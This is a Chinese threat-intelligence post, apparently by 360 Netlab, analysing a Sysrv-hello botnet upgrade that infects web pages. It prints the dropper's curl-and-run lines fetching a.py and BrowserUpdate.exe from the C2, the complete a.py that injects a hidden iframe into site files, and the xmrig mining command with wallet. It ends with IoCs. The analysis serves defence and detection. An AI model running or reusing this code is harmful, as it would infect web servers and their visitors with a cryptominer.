威胁快讯：Sysrv-hello再次升级，通过感染网页文件提高传播能力
<!--kg-card-begin: markdown--><h2 id="">版权</h2>
<p>版权声明: 本文为Netlab原创，依据 <a href="https://creativecommons.org/licenses/by-sa/4.0/">CC BY-SA 4.0 </a>许可证进行授权，转载请附上出处链接及本声明。</p>
<h2 id="">概述</h2>
<p>从去年末到现在，挖矿类型的botnet家族一直活跃，除了新家族不断出现，一些老家族也频繁升级，主要是为了提高传播能力和隐蔽性，我们的 BotMon 系统对此多有检测<a href="__GHOST_URL__/rinfojuan-tu-zhong-lai-zheng-zai-feng-kuang-sao-miao-he-wa-kuang/">[rinfo]</a><a href="__GHOST_URL__/fast-analyze-z0miner/">[z0miner]</a>。最新的案例来自<a href="https://help.aliyun.com/document_detail/196163.html">Sysrv-hello</a>，本来近期已经有2家安全公司先后分析过该家族的新变种<a href="https://blogs.juniper.net/en-us/threat-research/sysrv-botnet-expands-and-gains-persistence">[1]</a><a href="https://www.lacework.com/sysrv-hello-expands-infrastructure/">[2]</a>，但文章刚出来sysrv的作者就在4月20号再次进行升级，增加了感染网页的能力，本文对此做一分析。</p>
<h2 id="apybrowserupdateexe">新模块a.py和BrowserUpdate.exe</h2>
<p>我们知道sysrv能同时感染Linux和Windows系统，其入口为一个脚本文件，Linux下为bash脚本，最常见的文件名是<a href="https://help.aliyun.com/document_detail/196163.html">ldr.sh</a>，Windows下为PowerShell脚本ldr.ps1，这次升级只在ldr.sh中检测到，bash脚本中添加了如下代码：</p>
<pre><code>curl $cc/BrowserUpdate.exe &gt; /tmp/BrowserUpdate.exe
curl $cc/a.py &gt; /tmp/a.py
python /tmp/a.py &amp;
nohup python /tmp/a.py 1&gt;/dev/null 2&gt;&amp;1 &amp;
</code></pre>
<p>能看到加了2个新模块：a.py和BrowserUpdate.exe，其中a.py会被ldr.sh直接执行。</p>
<p>分析下载回来的a.py文件发现其为一个Python程序，体积并不大，代码只有20行：</p>
<pre><code>import os
d = &quot;&lt;iframe src=BrowserUpdate.exe width=1 height=1 frameborder=0&gt;&lt;/iframe&gt;&quot;
for _dir in [&quot;/var&quot;, &quot;/usr/local&quot;, &quot;/home&quot;, &quot;/opt&quot;]:
    for root, dirs, files in os.walk(_dir):
        for i in files:
            path = os.path.join(root, i)
            if os.path.splitext(path)[1] not in [&quot;.html&quot;, &quot;.php&quot;, &quot;.htm&quot;, &quot;.jsp&quot;, &quot;.asp&quot;, &quot;.tpl&quot;]:
                continue
            try:
                with open(path) as f:
                    data = f.read()
                    if (d in data) or (&quot;&lt;head&gt;&quot; not in data):
                        continue
                with open(path, &quot;w&quot;) as f:
                    f.write(data.replace(&quot;&lt;head&gt;&quot;, &quot;&lt;head&gt;&quot;+d))#+'&lt;script async=&quot;async&quot; src=&quot;//bmst.pw/6034003x100.js&quot;&gt;&lt;/script&gt;'))
            except:
                continue
            dst = os.path.join(root, &quot;BrowserUpdate.exe&quot;)
            os.system(&quot;cp -rf /tmp/BrowserUpdate.exe '%s'&quot; % dst)
os.system(&quot;rm -rf /tmp/BrowserUpdate.exe&quot;)
</code></pre>
<p>这段代码的功能是遍历<code>&quot;/var&quot;、&quot;/usr/local&quot;、&quot;/home&quot;</code>和<code>&quot;/opt&quot;</code>目录，寻找具有<code>&quot;.html&quot;、&quot;.php&quot;、&quot;.htm&quot;、&quot;.jsp&quot;、&quot;.asp&quot;</code>或者<code>&quot;.tpl&quot;</code>后缀的网页文件，找到后就在其中插入一段iframe代码：</p>
<pre><code>&lt;head&gt;&lt;iframe src=BrowserUpdate.exe width=1 height=1 frameborder=0&gt;&lt;/iframe&gt;
</code></pre>
<p>这样，如果有人访问修改后的网页，那么就会下载并有可能执行BrowserUpdate.exe，所以a.py的功能其实就是通过篡改网页来传播BrowserUpdate.exe，下面再来看看这个exe程序为何物。</p>
<p>BrowserUpdate.exe是一个PE32程序，加了UPX壳，VT扫描结果显示它是<a href="https://www.virustotal.com/gui/file/59df8a62108bbf3120e6699e616417f393aefaf0574b1fd1ae2bcb7802d543da/detection">CoinMiner</a>类型的恶意程序，该exe运行后会释放2个64位的PE文件：</p>
<pre><code>CreateFileW(&quot;C:\\DOCUME~1\\ADMINI~1\\LOCALS~1\\Temp\\ModuleInstaller.exe&quot;, 0x40000000, 0x0, NULL, 0x2, 0x80, 0x0)
CreateFileW(&quot;C:\\DOCUME~1\\ADMINI~1\\LOCALS~1\\Temp\\WinRing0x64.sys&quot;, 0x40000000, 0x0, NULL, 0x2, 0x80, 0x0)
</code></pre>
<p>然后BrowserUpdate.exe会通过如下命令运行释放的程序：</p>
<pre><code>cmd /c \&quot;%TEMP%\\ModuleInstaller.exe\&quot; --coin monero --donate-level 0 -o xmr-eu2.nanopool.org:14444 -u 41wSatLj9j4ZnwkBj2bEL59TdW7Fp8mmcUpKPyuB5XeBZNMxHND2MpK75w4q4mLtNmhQGVUnTdhh4XTffKFQ1Xz3Qk4hYoo
</code></pre>
<p>上面的命令包含了矿池和钱包信息，目的是启动挖矿行为，所释放的exe和sys其实正好是一组<a href="https://github.com/xmrig/xmrig">xmrig套件</a>，其中ModuleInstaller.exe为主程序，会加载WinRing0x64.sys驱动，对它们业界早有<a href="https://www.virustotal.com/gui/file/a2f3ecd329d2713855257bf922b8a092cbb1193327ba197351804275286df7dd/detection">分析</a>，这里不再赘述。</p>
<h2 id="">总结</h2>
<p>通过上面的分析不难看出，Sysrv-hello的这次升级主要是为了提高传播能力，通过Linux服务器间接感染Windows机器: 如果被ldr.sh感染的Linux机器为WEB服务器，不但该机器自身会沦为矿工，其上的网页文件也会被篡改，所有访问该服务器的Windows机器都有感染BrowserUpdate.exe并沦为Sysrv-hello矿工的风险。</p>
<p>考虑到sysrv已经多次升级，我们预计这次升级也只是中间一环而已，后面应该还会有新的动作，对此我们会保持关注，有新的进展将会及时公布。</p>
<h2 id="">联系我们</h2>
<p>感兴趣的读者，可以通过<a href="https://twitter.com/360Netlab"><strong>twitter</strong></a>或者邮件netlab[at]360.cn联系我们。</p>
<h2 id="ioc">IoC</h2>
<h3 id="md5">MD5</h3>
<pre><code>833822feda97936d690ff6b983ad1a87  ldr.sh
645647171d92e1fe289b63bbd2f2db86  a.py
048aa5b804cde0768111c633e0faa028  BrowserUpdate.exe
a7013a2c7fd3a6168a7c0d9eed825c32  MODULEINSTALLER.EXE
0c0195c48b6b8582fa6f6373032118da  WINRING0X64.SYS
</code></pre>
<h3 id="url">URL</h3>
<pre><code>http://194.145.227.21/ldr.sh
http://194.145.227.21/a.py
http://194.145.227.21/BrowserUpdate.exe
http://194.145.227.21/sys.i686
</code></pre>
<h3 id="">矿池和钱包</h3>
<pre><code>矿池: xmr-eu2.nanopool.org:14444
钱包：41wSatLj9j4ZnwkBj2bEL59TdW7Fp8mmcUpKPyuB5XeBZNMxHND2MpK75w4q4mLtNmhQGVUnTdhh4XTffKFQ1Xz3Qk4hYoo
</code></pre>
<!--kg-card-end: markdown-->
版权


版权声明: 本文为Netlab原创，依据 CC BY-SA 4.0 许可证进行授权，转载请附上出处链接及本声明。



概述


从去年末到现在，挖矿类型的botnet家族一直活跃，除了新家族不断出现，一些老家族也频繁升级，主要是为了提高传播能力和隐蔽性，我们的 BotMon 系统对此多有检测[rinfo][z0miner]。最新的案例来自Sysrv-hello，本来近期已经有2家安全公司先后分析过该家族的新变种[1][2]，但文章刚出来sysrv的作者就在4月20号再次进行升级，增加了感染网页的能力，本文对此做一分析。



新模块a.py和BrowserUpdate.exe


我们知道sysrv能同时感染Linux和Windows系统，其入口为一个脚本文件，Linux下为bash脚本，最常见的文件名是ldr.sh，Windows下为PowerShell脚本ldr.ps1，这次升级只在ldr.sh中检测到，bash脚本中添加了如下代码：


curl $cc/BrowserUpdate.exe > /tmp/BrowserUpdate.exe
curl $cc/a.py > /tmp/a.py
python /tmp/a.py &
nohup python /tmp/a.py 1>/dev/null 2>&1 &



能看到加了2个新模块：a.py和BrowserUpdate.exe，其中a.py会被ldr.sh直接执行。


分析下载回来的a.py文件发现其为一个Python程序，体积并不大，代码只有20行：


import os
d = "<iframe src=BrowserUpdate.exe width=1 height=1 frameborder=0></iframe>"
for _dir in ["/var", "/usr/local", "/home", "/opt"]:
    for root, dirs, files in os.walk(_dir):
        for i in files:
            path = os.path.join(root, i)
            if os.path.splitext(path)[1] not in [".html", ".php", ".htm", ".jsp", ".asp", ".tpl"]:
                continue
            try:
                with open(path) as f:
                    data = f.read()
                    if (d in data) or ("<head>" not in data):
                        continue
                with open(path, "w") as f:
                    f.write(data.replace("<head>", "<head>"+d))#+'<script async="async" src="//bmst.pw/6034003x100.js"></script>'))
            except:
                continue
            dst = os.path.join(root, "BrowserUpdate.exe")
            os.system("cp -rf /tmp/BrowserUpdate.exe '%s'" % dst)
os.system("rm -rf /tmp/BrowserUpdate.exe")



这段代码的功能是遍历"/var"、"/usr/local"、"/home"和"/opt"目录，寻找具有".html"、".php"、".htm"、".jsp"、".asp"或者".tpl"后缀的网页文件，找到后就在其中插入一段iframe代码：


<head><iframe src=BrowserUpdate.exe width=1 height=1 frameborder=0></iframe>



这样，如果有人访问修改后的网页，那么就会下载并有可能执行BrowserUpdate.exe，所以a.py的功能其实就是通过篡改网页来传播BrowserUpdate.exe，下面再来看看这个exe程序为何物。


BrowserUpdate.exe是一个PE32程序，加了UPX壳，VT扫描结果显示它是CoinMiner类型的恶意程序，该exe运行后会释放2个64位的PE文件：


CreateFileW("C:\\DOCUME~1\\ADMINI~1\\LOCALS~1\\Temp\\ModuleInstaller.exe", 0x40000000, 0x0, NULL, 0x2, 0x80, 0x0)
CreateFileW("C:\\DOCUME~1\\ADMINI~1\\LOCALS~1\\Temp\\WinRing0x64.sys", 0x40000000, 0x0, NULL, 0x2, 0x80, 0x0)



然后BrowserUpdate.exe会通过如下命令运行释放的程序：


cmd /c \"%TEMP%\\ModuleInstaller.exe\" --coin monero --donate-level 0 -o xmr-eu2.nanopool.org:14444 -u 41wSatLj9j4ZnwkBj2bEL59TdW7Fp8mmcUpKPyuB5XeBZNMxHND2MpK75w4q4mLtNmhQGVUnTdhh4XTffKFQ1Xz3Qk4hYoo



上面的命令包含了矿池和钱包信息，目的是启动挖矿行为，所释放的exe和sys其实正好是一组xmrig套件，其中ModuleInstaller.exe为主程序，会加载WinRing0x64.sys驱动，对它们业界早有分析，这里不再赘述。



总结


通过上面的分析不难看出，Sysrv-hello的这次升级主要是为了提高传播能力，通过Linux服务器间接感染Windows机器: 如果被ldr.sh感染的Linux机器为WEB服务器，不但该机器自身会沦为矿工，其上的网页文件也会被篡改，所有访问该服务器的Windows机器都有感染BrowserUpdate.exe并沦为Sysrv-hello矿工的风险。


考虑到sysrv已经多次升级，我们预计这次升级也只是中间一环而已，后面应该还会有新的动作，对此我们会保持关注，有新的进展将会及时公布。



联系我们


感兴趣的读者，可以通过twitter或者邮件netlab[at]360.cn联系我们。



IoC



MD5


833822feda97936d690ff6b983ad1a87  ldr.sh
645647171d92e1fe289b63bbd2f2db86  a.py
048aa5b804cde0768111c633e0faa028  BrowserUpdate.exe
a7013a2c7fd3a6168a7c0d9eed825c32  MODULEINSTALLER.EXE
0c0195c48b6b8582fa6f6373032118da  WINRING0X64.SYS




URL


http://194.145.227.21/ldr.sh
http://194.145.227.21/a.py
http://194.145.227.21/BrowserUpdate.exe
http://194.145.227.21/sys.i686




矿池和钱包


矿池: xmr-eu2.nanopool.org:14444
钱包：41wSatLj9j4ZnwkBj2bEL59TdW7Fp8mmcUpKPyuB5XeBZNMxHND2MpK75w4q4mLtNmhQGVUnTdhh4XTffKFQ1Xz3Qk4hYoo


{"version":"0.3.1","atoms":[],"cards":[["markdown",{"markdown":"##版权\n版权声明: 本文为Netlab原创，依据 [CC BY-SA 4.0 ](https://creativecommons.org/licenses/by-sa/4.0/)许可证进行授权，转载请附上出处链接及本声明。\n##概述\n从去年末到现在，挖矿类型的botnet家族一直活跃，除了新家族不断出现，一些老家族也频繁升级，主要是为了提高传播能力和隐蔽性，我们的 BotMon 系统对此多有检测[[rinfo]](__GHOST_URL__/rinfojuan-tu-zhong-lai-zheng-zai-feng-kuang-sao-miao-he-wa-kuang/)[[z0miner]](__GHOST_URL__/fast-analyze-z0miner/)。最新的案例来自[Sysrv-hello](https://help.aliyun.com/document_detail/196163.html)，本来近期已经有2家安全公司先后分析过该家族的新变种[[1]](https://blogs.juniper.net/en-us/threat-research/sysrv-botnet-expands-and-gains-persistence)[[2]]( https://www.lacework.com/sysrv-hello-expands-infrastructure/)，但文章刚出来sysrv的作者就在4月20号再次进行升级，增加了感染网页的能力，本文对此做一分析。\n\n##新模块a.py和BrowserUpdate.exe\n我们知道sysrv能同时感染Linux和Windows系统，其入口为一个脚本文件，Linux下为bash脚本，最常见的文件名是[ldr.sh](https://help.aliyun.com/document_detail/196163.html)，Windows下为PowerShell脚本ldr.ps1，这次升级只在ldr.sh中检测到，bash脚本中添加了如下代码：\n```\ncurl $cc/BrowserUpdate.exe > /tmp/BrowserUpdate.exe\ncurl $cc/a.py > /tmp/a.py\npython /tmp/a.py &\nnohup python /tmp/a.py 1>/dev/null 2>&1 &\n```\n能看到加了2个新模块：a.py和BrowserUpdate.exe，其中a.py会被ldr.sh直接执行。\n\n分析下载回来的a.py文件发现其为一个Python程序，体积并不大，代码只有20行：\n```\nimport os\nd = \"<iframe src=BrowserUpdate.exe width=1 height=1 frameborder=0></iframe>\"\nfor _dir in [\"/var\", \"/usr/local\", \"/home\", \"/opt\"]:\n    for root, dirs, files in os.walk(_dir):\n        for i in files:\n            path = os.path.join(root, i)\n            if os.path.splitext(path)[1] not in [\".html\", \".php\", \".htm\", \".jsp\", \".asp\", \".tpl\"]:\n                continue\n            try:\n                with open(path) as f:\n                    data = f.read()\n                    if (d in data) or (\"<head>\" not in data):\n                        continue\n                with open(path, \"w\") as f:\n                    f.write(data.replace(\"<head>\", \"<head>\"+d))#+'<script async=\"async\" src=\"//bmst.pw/6034003x100.js\"></script>'))\n            except:\n                continue\n            dst = os.path.join(root, \"BrowserUpdate.exe\")\n            os.system(\"cp -rf /tmp/BrowserUpdate.exe '%s'\" % dst)\nos.system(\"rm -rf /tmp/BrowserUpdate.exe\")\n```\n这段代码的功能是遍历```\"/var\"、\"/usr/local\"、\"/home\"```和```\"/opt\"```目录，寻找具有```\".html\"、\".php\"、\".htm\"、\".jsp\"、\".asp\"```或者```\".tpl\"```后缀的网页文件，找到后就在其中插入一段iframe代码：\n```\n<head><iframe src=BrowserUpdate.exe width=1 height=1 frameborder=0></iframe>\n```\n这样，如果有人访问修改后的网页，那么就会下载并有可能执行BrowserUpdate.exe，所以a.py的功能其实就是通过篡改网页来传播BrowserUpdate.exe，下面再来看看这个exe程序为何物。\n\nBrowserUpdate.exe是一个PE32程序，加了UPX壳，VT扫描结果显示它是[CoinMiner](https://www.virustotal.com/gui/file/59df8a62108bbf3120e6699e616417f393aefaf0574b1fd1ae2bcb7802d543da/detection)类型的恶意程序，该exe运行后会释放2个64位的PE文件：\n```\nCreateFileW(\"C:\\\\DOCUME~1\\\\ADMINI~1\\\\LOCALS~1\\\\Temp\\\\ModuleInstaller.exe\", 0x40000000, 0x0, NULL, 0x2, 0x80, 0x0)\nCreateFileW(\"C:\\\\DOCUME~1\\\\ADMINI~1\\\\LOCALS~1\\\\Temp\\\\WinRing0x64.sys\", 0x40000000, 0x0, NULL, 0x2, 0x80, 0x0)\n```\n\n然后BrowserUpdate.exe会通过如下命令运行释放的程序：\n```\ncmd /c \\\"%TEMP%\\\\ModuleInstaller.exe\\\" --coin monero --donate-level 0 -o xmr-eu2.nanopool.org:14444 -u 41wSatLj9j4ZnwkBj2bEL59TdW7Fp8mmcUpKPyuB5XeBZNMxHND2MpK75w4q4mLtNmhQGVUnTdhh4XTffKFQ1Xz3Qk4hYoo\n```\n\n上面的命令包含了矿池和钱包信息，目的是启动挖矿行为，所释放的exe和sys其实正好是一组[xmrig套件](https://github.com/xmrig/xmrig)，其中ModuleInstaller.exe为主程序，会加载WinRing0x64.sys驱动，对它们业界早有[分析](https://www.virustotal.com/gui/file/a2f3ecd329d2713855257bf922b8a092cbb1193327ba197351804275286df7dd/detection)，这里不再赘述。\n\n##总结\n通过上面的分析不难看出，Sysrv-hello的这次升级主要是为了提高传播能力，通过Linux服务器间接感染Windows机器: 如果被ldr.sh感染的Linux机器为WEB服务器，不但该机器自身会沦为矿工，其上的网页文件也会被篡改，所有访问该服务器的Windows机器都有感染BrowserUpdate.exe并沦为Sysrv-hello矿工的风险。\n\n考虑到sysrv已经多次升级，我们预计这次升级也只是中间一环而已，后面应该还会有新的动作，对此我们会保持关注，有新的进展将会及时公布。\n\n##联系我们\n感兴趣的读者，可以通过[**twitter**](https://twitter.com/360Netlab)或者邮件netlab[at]360.cn联系我们。\n##IoC\n###MD5\n```\n833822feda97936d690ff6b983ad1a87  ldr.sh\n645647171d92e1fe289b63bbd2f2db86  a.py\n048aa5b804cde0768111c633e0faa028  BrowserUpdate.exe\na7013a2c7fd3a6168a7c0d9eed825c32  MODULEINSTALLER.EXE\n0c0195c48b6b8582fa6f6373032118da  WINRING0X64.SYS\n```\n###URL\n```\nhttp://194.145.227.21/ldr.sh\nhttp://194.145.227.21/a.py\nhttp://194.145.227.21/BrowserUpdate.exe\nhttp://194.145.227.21/sys.i686\n```\n\n###矿池和钱包\n```\n矿池: xmr-eu2.nanopool.org:14444\n钱包：41wSatLj9j4ZnwkBj2bEL59TdW7Fp8mmcUpKPyuB5XeBZNMxHND2MpK75w4q4mLtNmhQGVUnTdhh4XTffKFQ1Xz3Qk4hYoo\n```\n"}]],"markups":[],"sections":[[10,0],[1,"p",[]]],"ghostVersion":"3.0"}